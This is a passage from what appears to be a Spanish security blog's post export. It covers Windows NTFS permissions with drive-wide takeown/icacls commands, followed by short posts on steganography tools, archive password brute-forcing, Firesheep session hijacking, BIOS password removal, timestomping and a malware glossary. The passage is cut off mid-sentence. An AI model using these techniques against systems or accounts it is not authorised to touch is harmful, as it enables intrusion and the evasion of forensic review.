el usuario, \u0026ldquo;Lili\u0026rdquo; por ejemplo, cree dicho objeto tendrá control total sobre este independiente de si forma parte del grupo de creación y solo lectura (empleados) ya que al crear dicho objeto a este usuario se le establecen las ACLs del \u0026ldquo;Creator Owner\u0026rdquo;, con esto conseguimos que un objeto solo sea manipulable desde su creador y que solo lo puedan leer desde otros usuarios del sistema, esto es gracias a las ACLs establecidas en el grupo \u0026ldquo;Empleados\u0026rdquo; y a las del \u0026ldquo;Creator Owner\u0026rdquo;. Lo mismo pasaría con el \u0026ldquo;Creator Group\u0026rdquo; pero en ese caso orientado a un grupo en concreto en vez de a un usuario. Figura 9: Añadiendo \u0026ldquo;Creator Owner\u0026rdquo; a un objeto. Figura 10: Editando permisos especiales de solo carpeta y archivos al \u0026ldquo;Creator Owner\u0026rdquo;. Cuando acabe el proceso, volveremos a la ventana anterior. Pero esta vez nos vamos a: La ficha de \u0026ldquo;Permisos\u0026rdquo; \u0026gt; seleccionamos nuestro usuario \u0026gt; Cambiar permisos\u0026hellip; \u0026gt; (se nos abrirá otra ventana) seleccionamos nuestro usuario nuevamente \u0026gt; Editar\u0026hellip; Figura 11: Modificación de permisos de usuarios. Se nos abrirá una la ventana: \u0026ldquo;Entrada de permiso para Disco local (C:)\u0026rdquo;. En el menú desplegable \u0026ldquo;Aplicar a\u0026rdquo; Seleccionamos la opción: \u0026ldquo;Esta carpeta, subcarpetas y archivos\u0026rdquo; (Esta opción está marcada por defecto, pero nos aseguramos de que esté seleccionada). Después simplemente nos queda Permitir o Denegar privilegios o permisos al usuario, en este caso permitimos y concedemos los privilegios al usuario seleccionado anteriormente. Marcamos el checkbox Control total en permitir, para directamente seleccionar todos los campos. Sería lo mismo para la denegación, pero lógicamente marcando el checkbox contrario (en la columna de \u0026ldquo;Denegar\u0026rdquo;). Pulsamos Aceptar, se nos mostrará una ventana realizando las operaciones necesarias para efectuar los cambios en el sistema, esperamos y Aceptamos una ventana que se mostrará al terminar dicho proceso. Aceptamos también todas las ventanas abiertas. Reiniciamos. Y listo! Figura 12: Modificación de permisos de usuarios de forma avanzada. Ahora tendremos el control total del sistema y podremos conceder y denegar privilegios a otros usuarios de manera normal. Como se muestra en la sección de este post \u0026ldquo;3.A) - Modificar permisos como Administrador\u0026rdquo; No voy a pararme a explicar que hacen o deja de hacer cada uno de los permisos ya que para eso las propias webs a las que hice referencia al principio de esta guía, las cuales Microsoft las detalla como los artículos: KB-981949 y KB-308419. Explican perfectamente para que valen y que hacen cada una de las características de los permisos. 3.C) Conflictos en permisos para un mismo usuario: Permitir y denegar Link to heading Abro un pequeño apartado explicativo sobre esta cuestión. Planteo el siguiente escenario: Si tenemos un usuario \u0026ldquo;pepe\u0026rdquo; y otros usuarios que forman parte del grupo \u0026ldquo;empleados\u0026rdquo; y un objeto (carpeta compartida) común para almacenar información personal. Si se le da permisos de SOLO LECTURA al grupo empleados del que forma parte pepe, pero sin embargo explícitamente se le dan permisos de ESCRITURA a pepe sobre ese contenedor este va a poder leer y escribir, pero el resto de usuarios que forman parte del grupo empleados solo van a poder leer. Por lo que podemos entender que si a un usuario que pertenece a un grupo le das unos permisos y después a ese usuario de forma independiente le añades otros permisos, el sistema de permisos NTFS de Windows da prioridad a los permisos explícitos a ese usuario en concreto y no al establecido en el grupo del que también forma parte dicho usuario. 3.D) Permisos heredables de objetos primarios Link to heading Destacar también que tenemos las opciones de \u0026ldquo;Incluir permisos heredables del objeto primario al objeto actual\u0026rdquo;, esto nos dice que si tenemos una: CarpetaA con X permisos y dentro de esta creamos una CarpetaB, la CarpetaB tendrá por defecto los mismos permisos que tiene la carpeta padre-raíz (objeto primario). Pero si quiero que la CarpetaB no herede dichos permisos solamente para esa carpeta y sus objetos ya existentes tendremos que desmarcar y agregar los permisos heredables para que esto no se aplique a las siguientes subcarpetas y/o ficheros. Nos puede pasar que queramos eliminar de un objeto (carpeta o fichero) el grupo de \u0026ldquo;usuarios\u0026rdquo; o \u0026ldquo;usuarios autentificados\u0026rdquo; y no podamos hacerlo, así como intentar agregar o quitar otros usuarios y grupos por defecto del sistema. Esto es debido a que los permisos son heredados de los objetos padres, por lo que tenemos que desheredar dichos permisos y después proceder a eliminar esos grupos de ese objeto en cuestión. Si desmarcamos el checkbox (que está marcado por defecto) de \u0026ldquo;Incluir todos los permisos del objeto primario de este objeto\u0026rdquo;, aparecerá un cuadro de advertencia en el que se nos dice si queremos \u0026ldquo;Agregar\u0026rdquo; o \u0026ldquo;Quitar\u0026rdquo; esta herencia. Agregar: Nos mantiene los mismos usuarios y grupos pero quita la herencia del objeto primario padre. Quitar: Quita todos los usuarios y grupos del objeto, de modo que no quede ninguno asignado a dicho objeto, eso conlleva a que también se elimine la herencia. Figura 13: Permisos heredables del objeto primario de este objeto. Microsoft nos dice lo siguiente: Incluir todos los permisos heredables del objeto primario de este objeto: Si se selecciona, cada objeto secundario tendrá permisos heredados de su objeto primario. Si se anula la selección, los permisos aplicados al objeto primario no se aplicarán a su objeto u objetos secundarios. Reemplazar todos los permisos heredables existentes en todos los descendientes con permisos heredables de este objeto: Si se selecciona, los permisos de este objeto primario reemplazarán los de los objetos descendientes. Si se anula la selección, los permisos de cada objeto (tanto de los primarios como de sus descendientes) pueden ser únicos. Ahora, a modo de comentario detallo un poco para completar la información sobre las dos fichas que quedan restantes: Permisos efectivos y Auditoría. En la ficha o pestaña \u0026ldquo;Permisos efectivos\u0026rdquo; nos servirá sencillamente para visualizar o mostrar los permisos por un usuario específico o grupo de usuarios. Pero no es más que ver los permisos que se permiten o deniegan en la ventana de edición de permisos de un objeto como la que se muestra anteriormente. En el caso de la imagen que vemos a continuación podemos ver el usuario \u0026ldquo;pepeprueba\u0026rdquo; (un usuario raso dentro del grupo \u0026ldquo;Usuarios locales\u0026rdquo;), la concesión de permisos que tiene. Figura 14: Visualización de permisos aplicados al usuario seleccionado. En la ficha o pestaña \u0026ldquo;Auditoría\u0026rdquo;, pues creo que está claro que es para poder auditar los objetos y el acceso a ellos para un usuario específico o un grupo de usuarios. Figura 15: Auditando acceso o modificación a objetos a un usuario específico. Lo cual para poder hacer esto y poder examinar o ver el Visor de eventos (eventvwr.msc) de Windows Vista/7, tendremos que tener habilitada una directiva en el \u0026ldquo;Editor de directivas de grupo local\u0026rdquo; (gpedit.msc). La cual nos permite auditar el acceso correcto o erróneo a objetos, esta se encuentra en: Configuración de equipo \u0026gt; Configuración de Windows \u0026gt; Configuración de seguridad \u0026gt; Directivas locales \u0026gt; Directiva de auditoría. Figura 16: Aplicando la GPO para auditar objetos en gpedit.msc. 4) Cambiar el tipo de cuenta: Usuarios o Administrador Link to heading Si queremos omitir el apartado de este post \u0026ldquo;2) - Habilitar o deshabilitar cuenta de Administrador\u0026rdquo; y el \u0026ldquo;3.B) - Modificar permisos desde la sesión \u0026ldquo;Usuario raso\u0026rdquo; (Propietarios de objetos). Directamente podemos asignar el \u0026ldquo;Grupo Administradores\u0026rdquo; la cuenta de usuario que estemos utilizando o deseemos, de manera muy sencilla. De este modo concederemos o denegaremos permisos de manera normal (siendo Administrador) como se muestra en la sección de este post \u0026ldquo;3.A) - Modificar permisos desde la sesión Administrador\u0026rdquo; (pero sin necesidad de entrar en la sesión de Administrador, ya que lo haremos todo desde la sesión usuario). Nos vamos a: Inicio \u0026gt; Panel de control \u0026gt; Cuentas de usuario y protección infantil \u0026gt; Cuentas de usuario \u0026gt; Seleccionamos nuestra cuenta de usuario (o la que deseemos) \u0026gt; cambiar el tipo de cuenta \u0026gt; Administrador \u0026gt; pulsamos en el botón que dice: \u0026ldquo;Cambiar el tipo de cuenta\u0026rdquo;. Figura 17: Cambiando el tipo de cuenta de un usuario de forma gráfica. De este modo la cuenta seleccionada pasará a ser parte del \u0026ldquo;Grupo Administradores\u0026rdquo; y ya seremos Administrador del sistema, con lo cual tendremos los privilegios para conceder o denegar permisos a otros usuarios. En el apartado de este post \u0026ldquo;3.A) - Modificar permisos desde la sesión Administrador\u0026rdquo; veremos como modificar los permisos, pero sin necesidad de entrar en la sesión de Administrador, ya que lo haremos todo desde la sesión de la cuenta de usuario que estemos usando en Windows. Esto anterior es la manera elegante que nos proporciona Windows de hacer de la manera tradicional y que personalmente siempre uso ya que es exactamente lo mismo. Se trata de administrar y gestionar esto desde una consola de Microsoft \u0026ldquo;MSC\u0026rdquo; (MicroSoft Console). Como es el caso del fichero de consola: Inicio \u0026gt; Ejecutar: lusrmgr.msc (Editor de usuarios y grupos locales). Aquí podemos realizar lo mismo e incluso más funciones ya que podremos ver todos los usuarios y grupos creados en nuestro sistema, modificar así como crearlos y borrar otros (aunque tener cuidado cuales se borran ya que algunos hace uso Windows de ellos). Esta consola nos permite visualizar las cuentas y grupos de usuario de un modo digamos ordenado y claro, a mi parecer, más detallado, completo, igual de eficaz y a la vez hacerlo de forma rápida y sencilla. Figura 18: La \u0026ldquo;forma más correcta\u0026rdquo; de cambiar la pertenencia de usuarios a grupos. 5) Habilitar y conceder permisos de Administrador mediante la Shell de Windows (CMD) Link to heading En este apartado, omitiremos todo lo mencionado desde el principio de este post hasta esta sección, excepto la sección \u0026ldquo;4) - Cambiar el tipo de cuenta: Usuarios o Administrador\u0026rdquo;. En esta parte, explicaré como modificar (conceder o denegar) permisos (en este caso conceder) de control total en el sistema al grupo Administradores del equipo. Mediante dos simples líneas de comandos, que escribiremos en la consola o símbolo del sistema CMD de Windows. Si ya cambiamos el tipo de cuenta a Administrador, abrimos la Shell de Windows como Administrador (ya que para ejecutar las siguientes instrucciones de comandos necesitamos privilegios de una cuenta del tipo Administrador), para ello, nos vamos a: Inicio \u0026gt; Todos los programas \u0026gt; Accesorios \u0026gt; botón derecho sobre Símbolo de Sistema \u0026gt; botón derecho sobre ejecutar como Administrador Se nos abrirá la shell de Windows CMD. Aquí escribimos lo siguiente. takeown /F \u0026#34;%SYSTEMDRIVE%\\*\u0026#34; /R /D S Pulsamos Enter. y esperaremos a que el sistema realice todo el proceso necesario (tendría que terminar con una lista extensa, poniendo en todas las líneas que fue procesando: \u0026ldquo;CORRECTO\u0026rdquo;). A continuación, escribimos esta otra línea de comandos: icacls \u0026#34;%SYSTEMDRIVE%\\*\u0026#34; /grant Administradores:(D,WDAC) /T Pulsamos Enter, y esperamos a que el sistema termine el proceso. Si todo lo procesado salió correctamente, salimos de la consola, escribiendo exit y reiniciamos el equipo. takeown: es para indicar el propietario. icacls: es para indicar los permisos del propietario que pusimos en takeown. Ahora el análisis de las propiedades o atributos de las dos líneas de comandos: takeown /F \u0026#34;%SYSTEMDRIVE%\\*\u0026#34; /R /D S /F: Indica el archivo/carpeta al que queremos cambiar el propietario (en este caso es %SYSTEMDRIVE%). %SYSTEMDRIVE%: Es la variable de entorno del disco duro principal desde donde se ejecuta Windows, es decir C:\\* (por defecto, lo más común). *: Con el símbolo asterisco indicamos todos los archivos de esa carpeta (Archivos, no carpetas, pero combinado con /R es igual a: Todos los archivos de todas las carpetas del disco duro (en este caso)). /R: Realiza el cambio de propietario en los subdirectorios (En este caso sería en todo el disco duro). /D S: En algunas carpetas puede surgir una pregunta al intentar indicar el propietario donde dice que si quieres darle permisos, pues /D S lo único que hacen en este caso es contestar \u0026ldquo;Sí\u0026rdquo; automáticamente a esa pregunta, para no tener que hacerlo manualmente. icacls \u0026#34;%SYSTEMDRIVE%\\*\u0026#34; /grant Administradores:(D,WDAC) /T %SYSTEMDRIVE%: Como ya dijimos anteriormente, C:\\ (En este caso). * \u0026gt; (símbolo asterisco) Todos los archivos de esa carpeta (Archivos, no carpetas, pero combinado con /T es igual a: Todos los archivos de todas las carpetas del disco duro). /T: Realiza el cambio de permisos en los subdirectorios (En este caso sería en todo el disco duro). /grant: Es la opción para indicar que se le quieren conceder permisos a un usuario. (Lo que quiero decir, es que en vez de /Grant se podría usar /Deny para denegar permisos por ejemplo.) Administradores: El grupo de usuarios (en este caso), (Administrador). (D,WDAC): Los permisos a conceder. (en este caso \u0026ldquo;D\u0026rdquo; y \u0026ldquo;WDAC\u0026rdquo;). Algunos permisos importantes: D: acceso de eliminación. WDAC: escribir DAC. F: acceso total. M: acceso de modificación. RX: acceso de lectura y ejecución. Un ejemplo de sintaxis básica de ICACLS: icacls [PATH] [/grant|/deny] [grupo|usuario]:(herencia2)(herencia1)(permiso1,permiso2,) [otros_argumentos /?] icacls c:\\carpetapublica /inheritance:r /grant wuser:(OI)(CI)(F) /grant todos:(OI)(CI)(AD,RX) /Q Para ICACLS una lista de permisos simples: N - sin acceso F - acceso total M - acceso de modificación RX - acceso de lectura y ejecución R - acceso de solo lectura W - acceso de solo escritura D - acceso de eliminación Una lista de permisos más específica: DE - eliminar RC - control de lectura WDAC - escribir DAC WO - escribir propietario S - sincronizar AS - acceso al sistema de seguridad MA - máximo permitido GR - lectura genérica GW - escritura genérica GE - ejecución genérica GA - todo genérico RD - leer datos/lista de directorio WD - escribir datos/agregar archivo AD - anexar datos/agregar subdirectorio REA - leer atributos extendidos WEA - escribir atributos extendidos X - ejecutar/atravesar DC - eliminar secundario RA - leer atributos WA - escribir atributos Lista de herencias: (OI) - herencia de objeto (CI) - herencia de contenedor (IO) - solo herencia (NP) - no propagar herencia (I) - permiso heredado del contenedor principal Lista de parámetros aplicables para las herencias de objetos (OI IO CI) con ICALCS (explicado): OI: (Object Inherit) Afecta a carpeta que se gestiona y ficheros que tiene dentro. CI: (Container Inherit) Afecta a carpeta y subcarpetas (no a ficheros). IO: (Inherit Only) NO AFECTA a fichero o carpeta que se gestiona sólo los que están dentro (solo subcarpetas). OI CI: Afecta a carpeta, subcarpeta y ficheros. (suele ser la herencia de permisos por defecto y habitual) CI IO: Sólo afecta a subcarpetas. OI IO: Sólo afecta a los ficheros contenidos en la carpeta que se gestiona. CI IO OI: Afecta a los ficheros que tiene dentro y a las subcarpetas. Para más información de las propiedades de estos dos comandos consultar la ayuda de los mismos. Escribir en una consola CMD: Takeown /? Icacls /? 6) UAC - User Account Control (Control de cuentas de usuario) Link to heading No tiene que ver con privilegios establecidos en un objeto o permisos ni tipos de cuentas. La relación está en que si eres administrador el sistema ya no te sobresaltará tanto con las típicas ventanas de Windows. Me refiero, aquellas que en el momento de instalar alguna aplicación o realizar alguna otra operación en el sistema, aparecen unas ventanas de advertencia, del estilo: ¿Estás seguro de que quieres ejecutar xxx? Se requieren permisos de Administrador\u0026hellip; (Aceptar o Cancelar) o introducir el usuario y su contraseña con privilegios más altos del sistema. Pues con el UAC deshabilitado del todo (en su nivel más bajo de seguridad) lo que se consigue es que siendo un usuario normal sin apenas privilegios en el sistema, dichas ventanas no sobresalten. Esto siempre y cuando dicho usuario esté incluido en el grupo administradores locales del sistema. Si se trata desde otra sesión de usuario en el grupo usuarios por ejemplo la ventana de UAC seguirá mostrándose para elevar dichos privilegios. Como ya dije esto no tiene que ver con permisos (escritura, lectura, ejecución, modificación, etc.). El UAC básicamente es una tecnología que nos notifica con advertencias de una elevación de privilegios necesaria para la ejecución de algo. Aunque podremos configurar el UAC mediante distintos niveles de seguridad indicando cómo se tiene que comportar ante ciertas advertencias informativas. Recomiendo establecerlo en su nivel más alto de seguridad para que siempre notifique mostrando la ventana y de esa forma minimizar la facilidad de que otras acciones o procesos puedan bypasear esta medida de seguridad. Saludos! "},{"title":"GhostBuster: analizar y eliminar dispositivos USB en Windows","url":"/posts/ghostbuster-dispositivos-usb-pasados-windows/","summary":"GhostBuster es una herramienta que detecta y elimina dispositivos conectados en un pasado y también los actuales.\nFigura 1: Analizando dispositivos USB conectados en un pasado con GhostBuster. …","tags":["DFIR","Análisis Forense","USB","Event Logs","IoC"],"date":"2011-01-27","content":"GhostBuster es una herramienta que detecta y elimina dispositivos conectados en un pasado y también los actuales. Figura 1: Analizando dispositivos USB conectados en un pasado con GhostBuster. Aquellos dispositivos que se conectaron y se autoinstalaron en Windows. Ya sean actuales o en un pasado. Esta herramienta resulta útil en análisis forenses y ver la marca, nombre, identificadores, drivers, etc. que han estado conectados en un computador. Saludos! "},{"title":"Herramientas de esteganografía","url":"/posts/herramientas-de-esteganografia/","summary":"Aunque la esteganografía es un arte antiguo, en el mundo digital se le ha dado un nuevo sentido, llevando la idea a nuevos formatos y desarrollando técnicas bastante avanzadas. Aún así, si pensamos en …","tags":["Red Team","Anti-Forense","Esteganografía","Data Exfiltration"],"date":"2010-12-05","content":"Aunque la esteganografía es un arte antiguo, en el mundo digital se le ha dado un nuevo sentido, llevando la idea a nuevos formatos y desarrollando técnicas bastante avanzadas. Aún así, si pensamos en seguridad, la esteganografía por sí sola se queda pequeña, por lo que la mayoría de los programas actuales cifran los datos antes de incrustarlos. Actualmente deberíamos pensar en la esteganografía como una técnica complementaria a la criptografía. La cantidad de formatos en los que se pueden esconder datos es inmensa, y las técnicas para hacerlo en cada uno de ellos también son variadas. Vamos a ver una pequeña recopilación de formatos que pueden ser contenedores de información oculta, y algunos programas que hacen esto posible. Steghide: Libre, portable, rápido, soporta cifrado y compresión. Es uno de los más usados, y está disponible en los repositorios de software de un montón de distribuciones. Trabaja con JPEG, BMP, WAV y AU. JPHide y JPSeek: Trabajan con JPEG, y prometen ser programas muy silenciosos, ya que la modificación del contenedor es mínima. Gifshuffle: Como su nombre indica, utiliza ficheros GIF (animados también). Una herramienta muy portable, libre, rápida, y que soporta cifrado / compresión. SNOW: Del mismo creador que Gifshuffle, utiliza espacios y tabulaciones al final de las líneas de un fichero de texto ASCII. También es altamente portable, libre, rápido y soporta cifrado / compresión. wbStego: Tiene varias versiones, y pretende tener una interfaz más amigable. Utiliza formatos BMP, texto ASCII o ANSI, HTML y PDF. MP3Stego: Utiliza ficheros MP3 como contenedores, admite compresión y cifrado. Stelin y StegoSense: Herramientas de esteganografía sintáctica en textos. Fuse::PDF: Ocultar documentos personales dentro de ficheros PDF. Esto es una pequeña muestra de todo lo que podemos encontrar en Internet, en la práctica a cada uno le gustarán más unas que otras y usará unos formatos sobre otros. Saludos! "},{"title":"Descifrar ficheros comprimidos: RAR, ZIP, ACE y ARJ","url":"/posts/descifrar-ficheros-comprimidos-rar-zip-ace-arj/","summary":"Advanced Archive Password Recovery desarrollada por elcomsoft es una herramienta que nos permitirá descifrar por medio de fuerza bruta (brute-force attack) archivos que están protegidos con una …","tags":["Red Team","Cracking","Fuerza bruta","Hashes"],"date":"2010-11-08","content":"Advanced Archive Password Recovery desarrollada por elcomsoft es una herramienta que nos permitirá descifrar por medio de fuerza bruta (brute-force attack) archivos que están protegidos con una contraseña. Solo admite formatos tipo .rar, .zip, .ace o .arj. Puede usar su propio diccionario o se podrá especificar uno para realizar el ataque de fuerza bruta. Figura 1: Advanced Archive Password Recovery - Fuerza bruta en fichero .zip. Si no consigue recuperar la contraseña, recomiendo volver a intentarlo 2 o 3 veces más. Saludos! "},{"title":"Firesheep: hijacking de sesiones de usuario","url":"/posts/firesheep-hijacking-sesiones-usuario/","summary":"Firesheep es una herramienta que podría ser utilizada para robar identidades según las propias palabras de su autor Codebutler. La herramienta, que fue presentada en la última Toorcon 12 en San Diego, …","tags":["Red Team","Pentesting","MITM","WiFi","Redes"],"date":"2010-11-05","content":"Firesheep es una herramienta que podría ser utilizada para robar identidades según las propias palabras de su autor Codebutler. La herramienta, que fue presentada en la última Toorcon 12 en San Diego, permite capturar tráfico de una gran cantidad de sitios web que envían los datos sin cifrar. Una vez instalada la extensión en Firefox (Mac OS y Windows, ya que por el momento no dispone de una versión para SO Linux), Firesheep permite el robo de credenciales de los siguientes sitios, en los que podemos ver en la captura, que nos deja Segu-Info: Figura 1: Firesheep - Hijacking en sesiones. Como explica Codebutler en su presentación una vez capturadas las Cookies y las sesiones del usuario, sería posible hacerse pasar por él mismo (Session Hijacking). Saludos! "},{"title":"Eliminar la password de la BIOS","url":"/posts/eliminar-la-password-de-la-bios/","summary":"Si queremos acceder a un equipo y dicho equipo tiene una contraseña en la BIOS, no vamos a poder entrar a ella y su configuración.\nPara ello podemos utilizar determinados métodos, para borrar dicha …","tags":["Red Team","BIOS","Cracking","Pentesting"],"date":"2010-09-13","content":"Si queremos acceder a un equipo y dicho equipo tiene una contraseña en la BIOS, no vamos a poder entrar a ella y su configuración. Para ello podemos utilizar determinados métodos, para borrar dicha password de la BIOS: Una de las tantas utilidades de las que dispone Hiren’s BOOT CD. (Actualizo este post a fecha de Enero de 2016 con la nueva versión de Hiren\u0026rsquo;s BOOTCD). Esto es ideal para cuando podemos bootear un LiveCD a través del \u0026ldquo;Menú BOOT\u0026rdquo; y que este no nos solicite credenciales para poder hacer bootstrap a dispositivos externos. Dentro de las opciones \u0026ldquo;BIOS/CMOS Tools\u0026rdquo; tendremos un conjunto de herramientas, entre ellas: BIOS Cracker y Kill CMOS. Figura 1: BIOS Cracker. Figura 2: Kill CMOS. Figura 3: Eliminado con éxito de la password de BIOS. En el caso de que no podamos bootear ningún LiveCD, tendremos que hacerlo desde el propio sistema operativo. CMOS De-animator (alternativa de descarga) es una utilidad gratuita que funciona en todas las versiones de Windows. Y que en principio no requiere elevar privilegios para acceder a la CMOS. Nos permitirá eliminar la password de la BIOS invalidando el checksum de la CMOS, una vez realice el proceso habrá \u0026ldquo;limpiado\u0026rdquo; la password de la BIOS y dejarla con su configuración por defecto. Figura 4: CMOS De-animator para Windows. Actualmente está disponible en su versión 3.0, la cual incluye ciertas mejoras sobre todo por su nueva interfaz de uso. Saludos! "},{"title":"Cambiar la fecha y hora de archivos o carpetas (timestomping)","url":"/posts/cambiar-fecha-hora-archivos-carpetas-timestomping/","summary":"Bulk File Changer de Nirsoft podremos modificar la metadata de fechas de los archivos o carpetas. Podremos restaurar la fecha y hora original.\nFigura 1: Bulk File Chan­ger - cambiar fecha y hora de …","tags":["Anti-Forense","Timestomping","Red Team","Nirsoft","MITRE ATT\u0026CK"],"date":"2010-08-06","content":"Bulk File Changer de Nirsoft podremos modificar la metadata de fechas de los archivos o carpetas. Podremos restaurar la fecha y hora original. Figura 1: Bulk File Chan­ger - cambiar fecha y hora de archivos o carpetas. Restamper otra utilidad que nos va permitir cambiar la fecha y hora de cualquier archivo o carpeta. Podremos restaurar la fecha y hora original. Figura 2: Restamper - cambiar fecha y hora de archivos o carpetas. Attribute Changer utilidad para modificar fecha y hora de los ficheros y/o carpetas, también podremos modificar sus atributos. Figura 3: Attribute Changer - cambiar fecha y hora de archivos o carpetas. SKTimeStamp de stefanstools se instala como una librería y que se añade como pestaña a las propiedades de un fichero o carpeta, el cual nos permitirá modificar de forma rápida la fecha/hora de creación, modificación y acceso al fichero o carpeta. Podremos restaurar la fecha y hora original. Figura 4: SKTimeStamp - cambiar fecha y hora de archivos o carpetas. Saludos! "},{"title":"Tipos de Malware y clasificación de Virus Informáticos","url":"/posts/tipos-de-malware-y-clasificacion-de-virus-informaticos/","summary":"Este artículo tiene la intención de comprender en aspectos básicos las asociaciones de los diversos términos para las amenazas relacionadas con el Malware o Badware. Y de ese modo conseguir una mayor …","tags":["Análisis de Malware","Malware","Troyano","Spyware","Keylogger","Phishing","Antivirus"],"date":"2010-04-21","content":"Este artículo tiene la intención de comprender en aspectos básicos las asociaciones de los diversos términos para las amenazas relacionadas con el Malware o Badware. Y de ese modo conseguir una mayor comprensión sobre el tema. Esta info fue recopilada de diversos espacios webs y adaptada en este artículo con el fin de tener así una recopilación en una misma entrada. Tipos de Malware/Badware Link to heading Troyanos: No es propiamente un virus como tal, ya que no se replica ni tampoco intenta infectar a otros archivos, sino que es un programa malicioso, como veremos a continuación. Existen multitud de malwares Troyanos y métodos de \u0026ldquo;troyanización\u0026rdquo;. La tarea que realizan esta clase de aplicaciones es la de introducirse en la computadora víctima mediante el engaño. Para ello, los desarrolladores de los mismos introducen en una aplicación aparentemente inofensiva un segundo programa, es decir el troyano propiamente dicho, el cual instalará en nuestra PC el código necesario para cumplir con las tareas especificadas por su creador. Las acciones que pueden ser desarrolladas por estos troyanos incluyen la apertura de puertos de nuestra computadora, para permitir que cualquier intruso controle nuestros movimientos de forma remota. Así como también recolectar y enviar cualquier dato sensible que podamos tener a resguardo en nuestro equipamiento informático. Asimismo pueden contener bombas lógicas, las cuales ejecutarán su código malicioso al cumplirse cualquier condición que haya establecido su programador. Un aspecto muy importante a tener en cuenta es la peligrosidad de estos programas. De forma similar a los virus, estos tienen la capacidad de destruir de manera permanente cualquier archivo, además de inutilizar por completo la información guardada en el disco rígido. Worms (Gusanos): Si bien a efectos de su catalogación son considerados como virus, lo cierto es que este tipo de programas no infectan otros archivos. El objetivo para el cual fueron desarrollados es la replicación a la máxima celeridad posible, logrando de este modo el colapso total de cualquier red en la cual pudieran haber ingresado. El chat o el correo electrónico es una de las formas más utilizadas para la propagación e infección de los gusanos. También pueden propagarse y desarrollarse en la memoria RAM de la computadora. Virtual Crab (Ladillas virtuales): Es un tipo de programa maligno que, como analogía al parásito de transmisión sexual, entra en una computadora a través del \u0026ldquo;sexo virtual\u0026rdquo;, sitios webs pornográficos o cualquier aplicación relacionada. Los sitios web pornográficos suelen ser un gran caldo de cultivo para estos parásitos virtuales. Al igual que los gusanos intentan multiplicarse por todo el sistema una vez infectado y los síntomas que pueden padecer los atacantes son similares a los de los Gusanos (Worms). Botnet (redes de computadores Zombies): Los bots son propagados a través de Internet utilizando a un gusano como transporte, envíos masivos de ellos mediante correo electrónico o aprovechando vulnerabilidades en navegadores web. Una vez que se logra una gran cantidad de sistemas infectados mediante Troyanos, se forman amplias redes que \u0026ldquo;trabajan\u0026rdquo; para el creador del programa. Aquí hay que destacar tres puntos importantes: Este trabajo en red se beneficia del principio de \u0026ldquo;computación distribuida\u0026rdquo;, miles de sistemas funcionando juntos tienen una mayor capacidad de procesamiento que cualquier sistema aislado. El creador del programa puede ser una red de delincuencia que ha armado su ataque, y que tienen estos programas trabajando en su beneficio. El grupo \u0026ldquo;propietario de la red\u0026rdquo; de zombies puede alquilar a otros grupos su red para realizar alguna acción ilegal. El objetivo de las redes zombies puede ser realizar ataques de DDoS (Distributed Denial of Service), distribución de SPAM, etc. Backdoor: Estos programas son diseñados para abrir una \u0026ldquo;puerta trasera\u0026rdquo; en nuestro sistema de modo tal de permitir al creador del backdoor tener acceso al sistema y hacer lo que desee con él. El objetivo es lograr una gran cantidad de computadoras infectadas para disponer de ellos libremente hasta el punto de formar redes de botnets. Exploit: Un Exploit es un programa o código que \u0026ldquo;explota\u0026rdquo; una vulnerabilidad del sistema o de parte de él para aprovechar esta deficiencia en beneficio del creador del mismo. Si bien el código que explota la vulnerabilidad no es un código malicioso en sí mismo, generalmente se lo utiliza para otros fines como permitir el acceso a un sistema o como parte de otros malware como gusanos y troyanos. Es decir que actualmente, los exploits son utilizados como \u0026ldquo;componente\u0026rdquo; de otro malware ya que al explotar vulnerabilidades del sistema permite hacer uso de funciones que no estarían permitidas en caso normal. Existen diversos tipos de exploits dependiendo las vulnerabilidades utilizadas y son publicados cientos de ellos por día para cualquier sistema y programa existente pero sólo una gran minoría son utilizados como parte de otros malware (aquellos que pueden ser explotados en forma relativamente sencilla y que pueden lograr gran repercusión). 0-Day - Zero Day (Día cero): Cuando está aplicado a la información, el \u0026ldquo;Zero Day\u0026rdquo; significa generalmente información no disponible públicamente. Esto se utiliza a menudo para describir exploits de vulnerabilidades a la seguridad que no son conocidas por los profesionales del tema. Se define Zero Day como cualquier exploit que no haya sido mitigado por un parche del vendedor. Keylogger: Como su nombre lo indica un Keylogger es un programa que registra y graba la pulsación de teclas (y algunos también clics del mouse). La información recolectada será utilizada luego por la persona que lo haya instalado. Actualmente existen dispositivos de hardware o bien aplicaciones (software) que realizan estas tareas. Los Keyloggers físicos son pequeños dispositivos que se instalan entre nuestra computadora y el teclado. Son difíciles de identificar para un usuario inexperto pero si se presta atención es posible reconocerlos a simple vista. Tienen distintas capacidades de almacenamiento, son comprados en cualquier casa especializada y generalmente son instalados por empresas que desean monitorizar a ciertos empleados. Cabe aclarar que esta forma de actuar puede traer problemas legales a quien lo instala ya que registrar a un usuario mediante este accionar puede interpretarse como una violación a su privacidad. Es aquí donde cobra relevancia una política de seguridad clara, puesta por escrito y firmada por el usuario. Con respecto a las Keyloggers por software, actualmente son los más comunes, muy utilizados por el malware orientado a robar datos confidenciales o privados del usuario. Como es de imaginar, la información obtenida es todo lo que el usuario ingrese en su teclado como por ejemplo documentos, nombres de usuarios, contraseñas, números de tarjetas, códigos PIN, etc. Esto explica el porqué de su gran éxito y utilización actual ya que como sabemos el malware, cada vez más orientado al delito, puede utilizar esta herramienta para proporcionar información sensible del usuario a un atacante. Stealer: Se define como Stealer (ladrón de información) a un programa troyano que se introduce a través de internet en un ordenador con el propósito de obtener de forma fraudulenta información confidencial del propietario, logins en accesos a sitios web, contraseñas o números de tarjetas de crédito. Se suele propagar en la mayoría de los casos mediante correos electrónicos en forma de Spam. Entre alguno de sus síntomas están los de: la desconexión involuntaria de un sitio web, para así volver a hacer login en el sitio y Stealer capturar esa información, sería como un Keylogger por software. Si somos usuarios de MSN Messenger, este envía mensajes falsos e incluso introduciendo en ellos datos incluidos haciendo creer al usuario destinatario que son datos enviados por el usuario infectado, pero el destinatario no lo sabe. Para usuarios inexpertos es difícil que sepan detectar el tipo de mensajes, pero solo con ver algunos ejemplos ya uno se da cuenta del engaño. Phishing: Se define Phishing como la capacidad de duplicar una página web para hacer creer al visitante que se encuentra en el sitio web original, en lugar del falso. Normalmente, se utiliza con fines delictivos enviando correos electrónicos de SPAM e invitando acceder a la página señuelo. El objetivo del engaño es adquirir información confidencial del usuario como contraseñas, tarjetas de crédito o datos financieros y bancarios. El Phishing consiste en el envío de correos electrónicos que, aparentando provenir de fuentes fiables (por ejemplo, entidades bancarias), intentan obtener datos confidenciales del usuario. Para ello, suelen incluir un enlace que, al ser pulsado, lleva a páginas web falsificadas. De esta manera, el usuario, creyendo estar en un 